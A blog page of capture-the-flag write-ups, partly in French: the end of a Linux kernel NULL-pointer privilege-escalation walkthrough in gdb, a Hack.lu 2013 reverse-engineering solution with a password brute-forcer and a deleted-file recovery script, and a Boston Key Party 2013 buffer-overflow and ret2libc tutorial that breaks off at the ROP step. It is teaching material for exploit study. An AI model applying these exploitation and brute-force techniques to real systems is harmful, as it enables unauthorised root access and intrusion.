   0xffffffffa0000051:	xor    eax,eax
   0xffffffffa0000053:	mov    r12,rsi
   0xffffffffa0000056:	push   rbp
   0xffffffffa0000057:	mov    rbp,rdx
   0xffffffffa000005a:	push   rbx
   0xffffffffa000005b:	call   0xffffffff81370a1d
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 1, 0xffffffffa0000048 in ?? ()
 
gdb$ x/30i $rip
   0xffffffffa0000048:	push   r12
   0xffffffffa000004a:	mov    rdi,0xffffffffa0001066
   0xffffffffa0000051:	xor    eax,eax
   0xffffffffa0000053:	mov    r12,rsi
   0xffffffffa0000056:	push   rbp
   0xffffffffa0000057:	mov    rbp,rdx
   0xffffffffa000005a:	push   rbx
   0xffffffffa000005b:	call   0xffffffff81370a1d                                 // printk
   0xffffffffa0000060:	lea    rdi,[rbp+0x1]
   0xffffffffa0000064:	mov    esi,0x1
   0xffffffffa0000069:	call   0xffffffff810f8e9b                                  // __kmalloc
   0xffffffffa000006e:	test   rax,rax
   0xffffffffa0000071:	mov    rbx,rax
   0xffffffffa0000074:	je     0xffffffffa000010d
   0xffffffffa000007a:	mov    edx,ebp
   0xffffffffa000007c:	mov    rsi,r12
   0xffffffffa000007f:	mov    rdi,rax
   0xffffffffa0000082:	call   0xffffffff811cab70                                // _copy_from_user
   0xffffffffa0000087:	test   rax,rax
   0xffffffffa000008a:	jne    0xffffffffa000011a
   0xffffffffa0000090:	mov    BYTE PTR [rbx+rbp*1],0x0
   0xffffffffa0000094:	mov    rsi,0xffffffffa0001079
   0xffffffffa000009b:	mov    rdi,rbx
   0xffffffffa000009e:	call   0xffffffff811c7b99                               // strcmp
   0xffffffffa00000a3:	test   eax,eax
   0xffffffffa00000a5:	jne    0xffffffffa00000e5
   0xffffffffa00000a7:	cmp    QWORD PTR [rip+0x22f9],0x0        # 0xffffffffa00023a8
   0xffffffffa00000af:	jne    0xffffffffa000010d
   0xffffffffa00000b1:	mov    rdi,QWORD PTR [rip+0xffffffffe1826800]        # 0xffffffff818268b8
   0xffffffffa00000b8:	mov    edx,0x8
gdb$ c

On reconnaît bien les opérations de notre module kernel et l'on voit notre code vulnérable :

0xffffffffa0000104:	mov    rax,QWORD PTR [rip+0x229d]        # 0xffffffffa00023a8
   0xffffffffa000010b:	call   QWORD PTR [rax]

Il va récuperer le pointeur de notre structure et il fait un call vers celui-ci. le pointeur n'étant pas initialisé, le kernel va générer une erreur. (kernel panic)

gdb$  b * 0xffffffffa000010b
Breakpoint 3 at 0xffffffffa000010b
gdb$ c
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0xFFFF8800000983E0  RBP: 0x0000000000000004  RSP: 0xFFFF880006871ED8  o d I t S z A p c 
  RDI: 0xFFFFFFFF817B9264  RSI: 0x0000000000000046  RDX: 0x0000000000000801  RCX: 0x0000000003380338  RIP: 0xFFFFFFFFA000010B
  R8 : 0x0000000000000002  R9 : 0x0000000000000000  R10: 0x0000000000000000  R11: 0xFFFF880007FFA000  R12: 0x00000000015C1340
  R13: 0xFFFF880006871F50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffffa000010b:	call   QWORD PTR [rax]
   0xffffffffa000010d:	mov    rdi,rbx
   0xffffffffa0000110:	call   0xffffffff810f7c3e
   0xffffffffa0000115:	mov    rax,rbp
   0xffffffffa0000118:	jmp    0xffffffffa0000121
   0xffffffffa000011a:	mov    rax,0xfffffffffffffff2
   0xffffffffa0000121:	pop    rbx
   0xffffffffa0000122:	pop    rbp
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 3, 0xffffffffa000010b in ?? ()
gdb$ x/x $rax
0x0:	Cannot access memory at address 0x0

On conserve nos breakpoints mais au lieu d'aller écrire sur notre périphérique on va lancer notre exploit :

/ $ ./exploit 
[+] Try to allocat 0x00000000...
[+] Allocation success !
[+] Find prepare_kernel_cred...
[+] Found prepare_kernel_cred at ffffffff81053e81
[+] Find commit_creds...
[+] Found commit_creds at ffffffff81053c6e
[+] Set pointer for get root cred
[+] Trig vuln...

Le programme s'arrête juste après le "Trig vuln" et gdb s'arrête sur le breakpoint 1 lors de l'appel à vuln_write. On continue pour regarder ce qu'il se passe lors du call qword rax :

gdb$ c
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFFA0000048  RBX: 0x0000000000000004  RBP: 0xFFFF880007AAC080  RSP: 0xFFFF88000685FEF0  o d I t S z a P c 
  RDI: 0xFFFF880007AAC080  RSI: 0x0000000000482D8B  RDX: 0x0000000000000004  RCX: 0xFFFF88000685FF50  RIP: 0xFFFFFFFFA0000048
  R8 : 0x00007FC9F27AE010  R9 : 0x0000000001AE8860  R10: 0x65726320746F6F72  R11: 0x0000000000000246  R12: 0x0000000000482D8B
  R13: 0xFFFF88000685FF50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffffa0000048:	push   r12
   0xffffffffa000004a:	mov    rdi,0xffffffffa0001066
   0xffffffffa0000051:	xor    eax,eax
   0xffffffffa0000053:	mov    r12,rsi
   0xffffffffa0000056:	push   rbp
   0xffffffffa0000057:	mov    rbp,rdx
   0xffffffffa000005a:	push   rbx
   0xffffffffa000005b:	call   0xffffffff81370a1d
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 1, 0xffffffffa0000048 in ?? ()
gdb$ c
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0xFFFF8800000983E0  RBP: 0x0000000000000004  RSP: 0xFFFF88000685FED8  o d I t S z A p c 
  RDI: 0xFFFFFFFF817B9264  RSI: 0x0000000000000046  RDX: 0x0000000000000801  RCX: 0x0000000003380338  RIP: 0xFFFFFFFFA000010B
  R8 : 0x0000000000000002  R9 : 0x0000000000000000  R10: 0x0000000000000000  R11: 0xFFFF880007FFA000  R12: 0x0000000000482D8B
  R13: 0xFFFF88000685FF50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffffa000010b:	call   QWORD PTR [rax]
   0xffffffffa000010d:	mov    rdi,rbx
   0xffffffffa0000110:	call   0xffffffff810f7c3e
   0xffffffffa0000115:	mov    rax,rbp
   0xffffffffa0000118:	jmp    0xffffffffa0000121
   0xffffffffa000011a:	mov    rax,0xfffffffffffffff2
   0xffffffffa0000121:	pop    rbx
   0xffffffffa0000122:	pop    rbp
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 2, 0xffffffffa000010b in ?? ()
gdb$ x/gx $rax
0x0:	0x000000000040051d
gdb$ x/20i 0x000000000040051d
   0x40051d:	push   rbp
   0x40051e:	mov    rbp,rsp
   0x400521:	push   rbx
   0x400522:	sub    rsp,0x8
   0x400526:	mov    rax,QWORD PTR [rip+0x2af603]        # 0x6afb30
   0x40052d:	test   rax,rax
   0x400530:	je     0x400558
   0x400532:	mov    rax,QWORD PTR [rip+0x2af5ff]        # 0x6afb38
   0x400539:	test   rax,rax
   0x40053c:	je     0x400558
   0x40053e:	mov    rbx,QWORD PTR [rip+0x2af5eb]        # 0x6afb30
   0x400545:	mov    rax,QWORD PTR [rip+0x2af5ec]        # 0x6afb38
   0x40054c:	mov    edi,0x0
   0x400551:	call   rax
   0x400553:	mov    rdi,rax
   0x400556:	call   rbx
   0x400558:	add    rsp,0x8
   0x40055c:	pop    rbx
   0x40055d:	pop    rbp
   0x40055e:	ret

On voit alors cette fois qu'à l'adresse 0x0000000000000000 se trouve un pointeur vers l'espace mémoire utilisateur 0x40051d. Et si l'on regarde le code à cet emplacement on reconnaît le code de notre fonction get_root. Si l'on parcourt le programme pas à pas, on peut voir que le call rax correspond à l'appel de la fonction prepare_kernel_cred et le call rbx à l'appel de la fonction commit_creds.

gdb$ 
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFF81053E81  RBX: 0xFFFFFFFF81053C6E  RBP: 0xFFFF88000685FEC8  RSP: 0xFFFF88000685FEB8  o d I t S z a P c 
  RDI: 0x0000000000000000  RSI: 0x0000000000000046  RDX: 0x0000000000000801  RCX: 0x0000000003380338  RIP: 0x0000000000400551
  R8 : 0x0000000000000002  R9 : 0x0000000000000000  R10: 0x0000000000000000  R11: 0xFFFF880007FFA000  R12: 0x0000000000482D8B
  R13: 0xFFFF88000685FF50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x400551:	call   rax
   0x400553:	mov    rdi,rax
   0x400556:	call   rbx
   0x400558:	add    rsp,0x8
   0x40055c:	pop    rbx
   0x40055d:	pop    rbp
   0x40055e:	ret    
   0x40055f:	push   rbp
-----------------------------------------------------------------------------------------------------------------------------
0x0000000000400551 in ?? ()
gdb$ x/3i 0xFFFFFFFF81053E81 (fonction prepare_kernel_cred dont on a récuperé l'adresse via le /proc/kallsyms dans notre exploit)
   0xffffffff81053e81:	push   rbp
   0xffffffff81053e82:	mov    rbp,rdi
   0xffffffff81053e85:	mov    esi,0xd0
gdb$ x/3i 0xFFFFFFFF81053C6E (fonction commit_creds dont on a récuperé l'adresse via le /proc/kallsyms dans notre exploit)
   0xffffffff81053c6e:	push   r12
   0xffffffff81053c70:	mov    r12,QWORD PTR gs:0xb980
   0xffffffff81053c79:	push   rbp

Voilà pour une première approche de l'exploitation kernel. Il s'agit ici bien entendu du cas le plus simple d'exploitation, qui n'est plus possible depuis l'ajout de la variable mmap_min_addr dans les kernels > 2.6.23 qui empêche un utilisateur de mmaper la NULL page. Les NULL Pointer Dereference sont donc depuis restreintes sur Linux à des Dénis de Service, mais le même type de raisonnement s'applique toujours quand on peut réécrire (totalement ou partiellement) un pointeur du kernel!

En espérant que cela vous a plu. J'ai essayé de détailler au maximum mes actions pour que cet article soit accessible au plus grand nombre. Si certains points sont inexacts ou nécessitent des précisions, n'hésitez pas à laisser un commentaire et je corrigerai au plus vite.

Je tiens à remercier acez, awe, djo, frizn et simo qui m'ont beaucoup apporté par leur aide dans ce domaine.

Si vous souhaitez approfondir vos connaissances je vous invite à consulter ces différents articles :

Et si vous souhaitez vous entraîner à l'exploitation kernel, rien de plus simple, il suffit de s'inscrire sur w3challs Catégorie : Wargame/Kernel Panic

Saturday, October 26 2013 03:30

Hack.lu CTF 2013 - FluxArchive Part 1 & 2

You can download this challenge here.

Our target is a x64 ELF binary that archives files somehow, with some kind of encryption. Here is our target's usage:

Usage: ./archiv <command> <archiv> <password> <file>
commands:
-l <archiv> <password> - lists all files in the archiv.
-a <archiv> <password> <file> - adds a file to the archiv (when archiv does not exist create a new archiv).
-x <archiv> <password> <filename> - extracts the given filename from the archiv.
-d <archiv> <password> <filename> - delete the given filename from the archiv.

We don't know how files are encrypted and what is the password for the provided archive. In the first part we will only find what the password is, then we will go deeper into what this binary does in part 2.

Part1 - RE400: Bruteforce with LD_PRELOAD

These funny humans try to exclude us from the delicious beer of the Oktoberfest! They made up a passcode for everyone who wants to enter the Festzelt. Sadly, our human informant friend could not learn the passcode for us. But he heard a conversation between two drunken humans, that they were using the same passcode for this intercepted archive file. They claimed that the format is is absolutely secure and solves any kind of security issue. It's written by this funny hacker group named FluxFingers. Real jerks if you ask me. Anyway, it seems that the capability of drunken humans to remember things is limited. So they just used a 6 character passcode with only numbers and upper-case letters. So crack this passcode and get our ticket to their delicious german beer!

Here is the challenge: https://ctf.fluxfingers.net/static/downloads/fluxarchiv/hacklu2013_archiv_challenge1.tar.gz

Let's see what's going on with IDA, we quickly see this code:

rev400.png

The checkHashOfPassword function is only storing the SHA-1 in the static variable hash_of_password, and we can see from the code above that encryptDecryptData and verifyArchiv both only have one argument: the archive FILE pointer.

Ok, that's enough for me. I get lazy (more than usual :o), and decide to bruteforce from within the archiv process itself. That way we don't have to reverse the remaining functions (though, that was not complicated...), and the bruteforce will be efficient enough! To do that, I only load a shared library with LD_PRELOAD, "hook" the strcmp function and launch my bruteforce there.

#include <stdio.h>
 
int strcmp(const char *s1, const char *s2)
{
	const char *charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	char password[7] = {0};
	size_t i0, i1, i2, i3, i4, i5 = 0;
 
	void (*checkHashOfPassword)(char *) = (void*) 0x0000000000402A01;
	int (*encryptDecryptData)(FILE *) = (void*) 0x0000000000401B9A;
	int (*verifyArchiv)(FILE *) = (void*) 0x0000000000402A4E;
 
	FILE *f =  fopen("FluxArchiv.arc", "r");
 
	for (i0 = 0, password[0] = charset[i0]; password[0]; password[0] = charset[++i0]) {
		printf("passwd[0] = %c\n", password[0]);
		for (i1 = 0, password[1] = charset[0]; password[1]; password[1] = charset[++i1]) {
			printf("  passwd[1] = %c\n", password[1]);
			for (i2 = 0, password[2] = charset[0]; password[2]; password[2] = charset[++i2])
				for (i3 = 0, password[3] = charset[0]; password[3]; password[3] = charset[++i3])
					for (i4 = 0, password[4] = charset[0]; password[4]; password[4] = charset[++i4])
						for (i5 = 0, password[5] = charset[0]; password[5]; password[5] = charset[++i5]) {
 
							checkHashOfPassword(password);
							//encryptDecryptData(f); // Useless actually, only used to check the MAGIC_VALUE
 
							if (verifyArchiv(f)) {
								printf("Password found: %s\n", password);
								return 0;
							}
						}
		}
	}
 
	fclose(f);
 
	return 0;
}

Now let's compile, execute and wait for the password. It takes less than 10 minutes.

awe@awe-laptop ~/hacklu/reverse/FluxArchiv1 % gcc -O3 -shared -fPIC -o hooker.so hooker.c -ldl
awe@awe-laptop ~/hacklu/reverse/FluxArchiv1 % time LD_PRELOAD=./hooker.so ./archiv -l FluxArchiv.arc BADGER
################################################################################
FluxArchiv - solved security since 2007!
Written by sqall - leading expert in social-kernel-web-reverse-engineering.
################################################################################
 
passwd[0] = A
  passwd[1] = A
  passwd[1] = B
  passwd[1] = C
* snip *
  passwd[1] = U
  passwd[1] = V
  passwd[1] = W
Password found: PWF41L
Given password is not correct.
zsh: exit 1     LD_PRELOAD=./hooker.so ./archiv -l FluxArchiv.arc BADGER
LD_PRELOAD=./hooker.so ./archiv -l FluxArchiv.arc BADGER  537.34s user 49.71s system 99% cpu 9:47.70 total

So now we can extract the archive files, etc. However, PWF41L was actually the flag.

Part2 - RE500: Extraction of deleted entries

These sneaky humans! They do not just use one passcode, but two to enter the Festzelt. We heard that the passcode is hidden inside the archive file. It seems that the FluxFingers overrated their programming skill and had a major logical flaw in the archive file structure. Some of the drunken Oktoberfest humans found it and abused this flaw in order to transfer hidden messages. Find this passcode so we can finally drink their beer!

(only solvable when FluxArchiv (Part 1) was solved)

Here is the challenge: https://ctf.fluxfingers.net/static/downloads/fluxarchiv/hacklu2013_archiv_challenge1.tar.gz

From the description, we quickly guess that there are issues with the archive deletion mechanism. First let's analyse the deleteArchive function. And well hmm, it doesn't behave like intended. That's because the author messed up the functions name. That can be quickly fixed by following the CFG backwards from the printed messages. We then have these functions / addresses:

Function name Segment Start
doRC4 .text 0000000000400E0C
createHashOfPassword .text 0000000000400E96
createFileEntry .text 0000000000400F05
real_addArchive .text 0000000000401043
findNextFreeChunk .text 0000000000401406
encryptDecryptData .text 0000000000401B9A
writeFileToArchiv .text 0000000000401CA7
real_searchArchive .text 0000000000401FED
real_deleteArchive .text 000000000040227D
real_extractArchive .text 00000000004025C8
checkHashOfPassword .text 0000000000402A01
verifyArchiv .text 0000000000402A4E
main .text 0000000000402B65

Let's analyse the real_deleteArchive function. It takes 2 parameters: the archive stream pointer and the offset for the entry we want to delete (which is returned from a previous call to real_searchArchive). Here is what the function does, from its CFG:

rev500_CFG.png

# PURPLE: go to the initial offset, read next_chunk (which will be used to calculate the offset for the next chunk)
f.seek(init_offset)
next_chunk = unpack("<Q", doRC4(f.read(8)))
 
# YELLOW: read max_chunks (total number of chunks)
max_chunks = unpack("<Q", doRC4(f.read(8)))
 
# DARK GREEN: overwrite next_chunk in the file with junk
next_offset = next_chunk << 4
next_offset = next_offset + (next_offset << 6) + 0x20
fseek(next_offset)
f.write(doRC4("\x00" * 8))
f.write(doRC4("\x00" * 8))
 
# RED: overwrite the MD5sum with junk
f.write(doRC4("\x00" * 16))
 
# BLUE: overwrite the file name with junk
f.write(doRC4("\x00" * 0x60))
 
# LIGHT GREEN: 
for chunk_index in range(max_chunks):
    # GREY: go to the next chunk offset, read next_chunk
    f.seek(next_offset)
    next_chunk = unpack("<Q", doRC4(f.read(8)))
 
    # ORANGE: overwrite the next_chunk in the file with junk
    f.seek(next_offset) ; f.write(doRC4("\x00" * 8))

So, they delete all metadatas associated to the file, but not the file content itself. We should be able to recover a file then! We miss some informations though:

  1. What is the size of each chunk?
  2. How many chunks do we have to read? That's overwritten, so we don't know.
  3. How are the next_chunk allocated? Is that sequential, random, ...? That's overwritten too.

We can't know the file name and we won't be able to verify the MD5 sum, but we don't care of these details. From the real_addArchive function we can get all we needed to know. It does the opposite, and shows us that for each chunk of the original file, 0x408 bytes are written, then the next_chunk value is simply incremented.

We can't know what the size of the file is, so we will assume max_chunks = 0xFF. Because can't know the initial value of next_chunk either, we will have to bruteforce, from 0 to 0xFF. We will create one file per initial next_chunk value. Because we choose a max_chunks which is overlong, we will have some garbage at the end of each file, but most file formats don't really care about that anyway.

#!/usr/bin/env python2
 
import Crypto.Cipher.ARC4 as RC4
import hashlib
 
def decryptRC4(s):
    return RC4.ARC4Cipher(hashlib.sha1("PWF41L").digest()).decrypt(s)
 
f = open("FluxArchiv2.arc", "rb")
 
for bf in xrange(0xFF):
    print '[*] Trying with offset %02x' % bf
    o = open("output/out_%02x" % bf, "w+")
 
    try:
        next_chunk = bf
        max_chunks = 0xFF
 
        for chunk_index in xrange(max_chunks):
            next_offset = next_chunk << 4
            next_offset = next_offset + (next_offset << 6) + 0x20
 
            f.seek(next_offset)
            f.read(8) # Skip overwritten next_chunk
 
            content = decryptRC4(f.read(0x408))
            o.write(content)
 
            next_chunk += 1
    except:
        pass
    finally:
        o.close()
 
f.close()

Now we go to output/, do a file *, find the documents we extracted previously from the part 1, but no new image file with the flag as I expected :( So, it is probably simply a text file...

head -n1 *|less
# Output: *snip*
# ==> out_9d <==
# <B7>9<AF>       <B0><FB><91>0<D8>fB^Sȑ
# 
# ==> out_9e <==
# Another one got caught today, it's all over the papers.  "Teenager
# 
# ==> out_9f <==
# els threatened by me...
# 
# ==> out_a0 <==
# e electron and the switch, the
# *snip*
less out_9e
# Output:
# Another one got caught today, it's all over the papers.  "Teenager
# Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
# Damn kids.  They're all alike.
# *snip*
# 
# +++The Mentor+++
# 
# Flag: D3letinG-1nd3x_F4iL
# * snip*

The flag is D3letinG-1nd3x_F4iL.

Tuesday, June 18 2013 21:14

Boston Key Party CTF 2013 - fss gainville - ROP pour les nuls

Je voulais faire un writeup sur le challenge fss gainville du CTF Boston Key Party 2013. Le but de ce billet n'est pas simplement de vous montrer comment j'ai résolu le challenge mais surtout de détailler au maximum les actions effectuées.

Je trouve régulièrement que les writeup sont peu détaillés et les noobs comme moi s'y perdent facilement, je vais donc essayer de détailler au maximum mes actions.

Nous avons à notre disposition le binaire ainsi que ce même binaire en écoute sur un port.

On se connecte sur le port pour voir comment réagit le programme, nous avons à faire à un choix multiple :

Welcome to Florida Gainesville Radio Flight Service Station

Would you like to:
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit

On va donc commencer par étudier le programme, la première étape est de voir à quel type de programme nous avons affaire :

root@kali:~/Challenges/BKP2013# file fss
fss: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xa3aba905ed1fdb52e05401dcef8c5fff670223a6, not stripped

Il s'agit donc d'un binaire linux 64 bits.

Le premier réflexe est de l'ouvrir dans IDA pour une analyse statique. On retrouve rapidement la fonction main où on voit l'appel d'une fonction spécifique pour chaque choix du programme :

ida_main

Il faut maintenant trouver la faille, deux possibilités : soit faire du fuzzing, l'idée est d'injecter des données aléatoires dans les entrées du programme, soit analyser de manière pragmatique le programme pour trouver la faille. Le code du programme étant assez court, j'ai parcouru l'ensemble des appels de fonctions jusqu'à trouver la faille.

On peux voir un débordement de tampon (buffer overflow) dans la fonction pirep via le read.

Maintenant que nous avons la faille, il ne reste plus qu'à exploiter. On passe l'outil checksec.sh (Téléchargeable ici) qui nous permet de voir les protections appliquées au binaire :

root@kali:~/Challenges/_Outils# ./checksec.sh --file /root/Challenges/BKP2013/fss
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   /root/Challenges/BKP2013/fss

Nous avons donc juste le NX enabled, c'est à dire que la stack n'est pas exécutable, il n'est donc pas question de mettre son shellcode dans notre buffer et de faire pointer EIP dessus.

La stratégie ici est justement de faire du ROP (Returned Oriented Programming) c'est à dire se servir du code du programme pour obtenir un shell (ou ce que l'on souhaite). On va utiliser une technique nommée Ret2libc, il s'agit de renvoyer notre programme vers une fonction de la libc telle que system ou execve pour lancer le programme de son choix. Pour cela il faudra simplement définir les bonnes valeurs dans les registres.

Notre stratégie :

  • récupérer l'adresse de la libc correspondant à la fonction execve
  • définir les registres pour l'appel à la fonction execve
  • faire appel à la fonction execve

1ere étape - Environnement de debug

La première chose à faire est de mettre en place un environnement de debug similaire à ce que l'on va trouver pour le challenge. Il nous faut donc mettre en écoute le programme sur un port et voir comment on peux faire pour y attacher gdb. Il existe sûrement plusieurs solutions pour effectuer cela, personnellement je passe par xinetd.

Pour cela ajouter un fichier de conf de ce type dans /etc/xinetd.d/

Service fss
{
        socket_type     = stream
        protocol        = tcp
        wait            = no
        user            = root
        server          = /root/Challenges/BKP2013/fss
}

Et ajouter le port qui va être en écoute pour ce service dans /etc/services

fss             5555/tcp

Pour debug le tout dans GDB, il suffira de s'attacher au processus.

Exemple d'un programme en python permettant de se connecter sur le port et en parallèle de debug :

import sys
import socket
fs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fs.connect(("192.168.1.12",5555 ))
raw_input("Si besoin de debug...")

Le raw_input nous permet de stopper le programme le temps d'aller chercher le pid du processus correspondant à notre connexion et de s'y attacher dans gdb.

root@kali:~/Challenges/_Outils# ps aux | grep fss
root     29649  0.0  0.0   3944   316 ?        Ss   22:55   0:00 fss
root     29655  0.0  0.0   7780   864 pts/6    S+   22:55   0:00 grep fss
root@kali:~/Challenges/_Outils# gdb
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
64-bit mode is default. Use the 32bits command if your target is 32 bits.
Edit the $64BITS variable in your .gdbinit file to switch to default 32-bit mode.
gdb$ attach 29649

Nous n'avons plus qu'à poser les breakpoints nécessaires et faire continuer dans gdb pour poursuivre notre programme. Vous remarquerez sur les prochains screenshots gdb que l'interface est un peu plus sexy que ce que vous pouvez peut-être connaitre. Pour que votre gdb ressemble également à cela, allez faire un tour ici et

2ème étape - La faille - Buffer Overflow

La faille ici est de type buffer overflow, c'est à dire que l'emplacement prévu pour notre buffer en mémoire est plus petit que ce qui nous est permis d'écrire. Ce qui nous permet d'aller écrire à des emplacements mémoire tels que l'adresse de retour de notre fonction appelée. Je ne vais pas détailler plus, il existe de nombreuses ressources sur le net à ce sujet (ici ou ici, par la même occasion vous pouvez parcourir l'ensemble de ces deux blogs, ça en vaut vraiment la peine).

La faille dans la fonction pirep : fonction_pirep

Et la démonstration dans gdb :

gdb$ r
        Welcome to Florida Gainesville Radio Flight Service Station
 
Would you like to:
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit
> 5
Please enter coded PIREP: UA /OV A /TM A /FL B /TP C / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Report Type: Upper-AirLocation: A
Time: A
Flight Level: B
Aircraft Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
PIREP is now on file
 
Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0000000000000000  RBP: 0x4141414141414141  RSP: 0x00007FFFFFFFE5E8  o d I t s Z a P c
  RDI: 0x00007FFFF7DD77A0  RSI: 0x0000000000000000  RDX: 0x0000000000000000  RCX: 0x00007FFFF7B21AF0  RIP: 0x000000000040171C
  R8 : 0x00007FFFF7FD9700  R9 : 0x00007FFFF7FD9700  R10: 0x4141414141414141  R11: 0x0000000000000246  R12: 0x0000000000400820
  R13: 0x00007FFFFFFFE6F0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x40171c <pirep+487>:        ret
   0x40171d <main>:     push   rbp
   0x40171e <main+1>:   mov    rbp,rsp
   0x401721 <main+4>:   sub    rsp,0x20
   0x401725 <main+8>:   mov    DWORD PTR [rbp-0x14],edi
   0x401728 <main+11>:  mov    QWORD PTR [rbp-0x20],rsi
   0x40172c <main+15>:  mov    edx,0x401c15
   0x401731 <main+20>:  mov    esi,0x401c2c
-----------------------------------------------------------------------------------------------------------------------------
0x000000000040171c in pirep ()
gdb$ x/gx $rsp
0x7fffffffe358:	0x4141414141414141

Nous pouvons donc spécifier l'adresse que l'on souhaite en adresse de retour de la fonction pirep.

3ème étape - Récupérer l'adresse de la fonction de notre libc

Comme je l'expliquais précédemment, le but va être d'appeler une fonction de la libc, pour cela il va falloir récupérer son adresse. Le programme étant soumis à l'ASLR (Address space layout randomization), la fonction ne sera jamais située au même endroit. Nous allons donc la récupérer dans la GOT (Global Offset Table), il s'agit d'une table qui lors du lancement du programme est remplie de manière dynamique avec les adresses des fonctions utilisées dans le programme (si vous souhaitez en savoir plus je vous renvoi vers cet excellent billet). Nous avons de la chance la GOT n'est pas soumies à l'ASLR, ces adresses ne changeront donc pas.

Nous pouvons retrouver les adresses de la GOT avec objdump :

root@kali:~/Challenges/BKP2013# objdump -R fss
 
fss:     file format elf64-x86-64
 
DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
00000000006021e8 R_X86_64_GLOB_DAT  __gmon_start__
00000000006022a0 R_X86_64_COPY     stdout
00000000006022a8 R_X86_64_COPY     stdin
0000000000602208 R_X86_64_JUMP_SLOT  strncmp
0000000000602210 R_X86_64_JUMP_SLOT  puts
0000000000602218 R_X86_64_JUMP_SLOT  write
0000000000602220 R_X86_64_JUMP_SLOT  strlen
0000000000602228 R_X86_64_JUMP_SLOT  printf
0000000000602230 R_X86_64_JUMP_SLOT  memset
0000000000602238 R_X86_64_JUMP_SLOT  read
0000000000602240 R_X86_64_JUMP_SLOT  __libc_start_main
0000000000602248 R_X86_64_JUMP_SLOT  fgets
0000000000602250 R_X86_64_JUMP_SLOT  strcmp
0000000000602258 R_X86_64_JUMP_SLOT  random
0000000000602260 R_X86_64_JUMP_SLOT  fflush
0000000000602268 R_X86_64_JUMP_SLOT  __isoc99_sscanf
0000000000602270 R_X86_64_JUMP_SLOT  atoi
0000000000602278 R_X86_64_JUMP_SLOT  exit

Et vérifier tout cela dans gdb :

gdb$ x/g 0x602210
0x602210 <puts@got.plt>:        0x00007ffff7abd060
gdb$ x/i puts
0x7ffff7abd060 <puts>:       mov    QWORD PTR [rsp-0x18],rbx

On voit donc qu' à l'adresse 0x602210 (notre GOT) nous avons un pointeur vers la fonction puts vers l'adresse 0x00007ffff7abd060. On peux le vérifier simplement en affichant la 1er ligne de commande de puts où nous retrouvons bien l'adresse vers laquelle la GOT pointe.

Par contre comme vous pouvez le voir, les autres fonctions de la libc, tel qu'execve dont nous avons besoin, n'apparaissent pas dans la GOT car elles ne sont pas utilisées par notre programme tout simplement. Pour retrouver l'adresse de la fonction qui nous intéresse nous allons donc devoir ruser. J'ai dis tout à l'heure qu'avec l'ASLR les adresses des fonctions étaient aléatoire mais par contre le décalage entre deux fonctions ne le sera pas. C'est à dire que nous pouvons calculer le décallage entre une fonction connue et la fonction choisie sur notre environnement de debug et appliquer ce décalage pour trouver l'adresse d'execve dans l'environnement du challenge du CTF.

gdb$ x/i puts
   0x7ffff7abd060 <puts>:       mov    QWORD PTR [rsp-0x18],rbx
gdb$ x/i execve
   0x7ffff7afef80 <execve>:     mov    eax,0x3b

Ci dessous, nous voyons que la fonction puts se situe dans notre contexte à l'adresse 0x7ffff7abd060 et notre fonction execve à l'adresse 0x7ffff7afef80. Nous avons donc un offset de 0x41f20 entre ces deux adresses. Si nous arrivons donc à récupérer l'adresse de puts nous pourrons alors connaitre l'adresse d'execve.

4ème étape - Le ROP

